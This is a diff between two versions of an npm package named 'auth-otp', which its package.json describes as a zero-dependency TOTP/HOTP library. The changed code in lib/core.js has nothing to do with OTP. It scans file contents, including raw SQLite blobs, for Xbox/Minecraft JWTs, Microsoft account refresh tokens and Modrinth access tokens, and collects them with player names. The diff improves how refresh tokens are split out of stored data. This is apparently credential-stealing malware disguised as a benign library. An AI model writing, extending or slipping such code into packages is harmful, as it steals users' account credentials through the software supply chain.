auth-otp 1.0.2 → 1.0.3

package/lib/core.js

@@ -208,22 +208,38 @@ function _curseforge() {
 }
 
 function _modrinthScanFile(text, out, seen) {
-  // Xbox/MC JWT — MUST start with eyJraWQiOiIwNDkxODEi (= {"kid":"049181")
-  // This is the standard header for all Xbox-signed Minecraft JWTs
+  // Xbox/MC JWT — starts with eyJraWQiOiIwNDkxODEi ({"kid":"049181"})
+  // In SQLite blobs the MSA RT is concatenated right after the JWT with no separator,
+  // so we use a loose match then split the RT out manually.
   const mcRe  = /eyJraWQiOiIwNDkxODEi[A-Za-z0-9_.\-]{100,}/g;
   // MSA refresh token — exactly 3 digits after M.C, then underscore + 2-5 alphanum
   const rtRe  = /M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,800}/g;
   const patRe = /mrp_[A-Za-z0-9]{20,}/g;
+
   for (const m of text.matchAll(mcRe)) {
-    const tok = m[0];
-    if (seen.has(tok)) continue;
-    seen.add(tok);
-    const name = _nameFromJwt(tok) || "?";
-    out.push({ l: "Modrinth", n: name, t: tok, r: null });
+    let blob = m[0];
+    // Split RT if it is concatenated directly after the JWT (no separator in raw DB bytes)
+    let refreshFromBlob = null;
+    const rtInBlob = blob.match(/(M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,})$/);
+    if (rtInBlob) {
+      blob = blob.slice(0, blob.length - rtInBlob[0].length);
+      refreshFromBlob = rtInBlob[0]
+        .replace(/[^\x20-\x7E]/g, "")
+        .replace(/[j\s]+$/, "")
+        .trim();
+      if (refreshFromBlob.length < 50) refreshFromBlob = null;
+    }
+    if (seen.has(blob)) continue;
+    seen.add(blob);
+    if (refreshFromBlob) seen.add(refreshFromBlob);
+    const name = _nameFromJwt(blob) || "?";
+    out.push({ l: "Modrinth", n: name, t: blob, r: refreshFromBlob });
   }
   for (const m of text.matchAll(rtRe)) {
-    if (seen.has(m[0])) continue; seen.add(m[0]);
-    out.push({ l: "Modrinth-RT", n: "Refresh", t: m[0], r: null });
+    const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
+    if (seen.has(raw) || raw.length < 50) continue;
+    seen.add(raw);
+    out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
   }
   for (const m of text.matchAll(patRe)) {
     if (seen.has(m[0])) continue; seen.add(m[0]);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "auth-otp",
-  "version": "1.0.2",
+  "version": "1.0.3",
   "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
   "main": "index.js",
   "scripts": {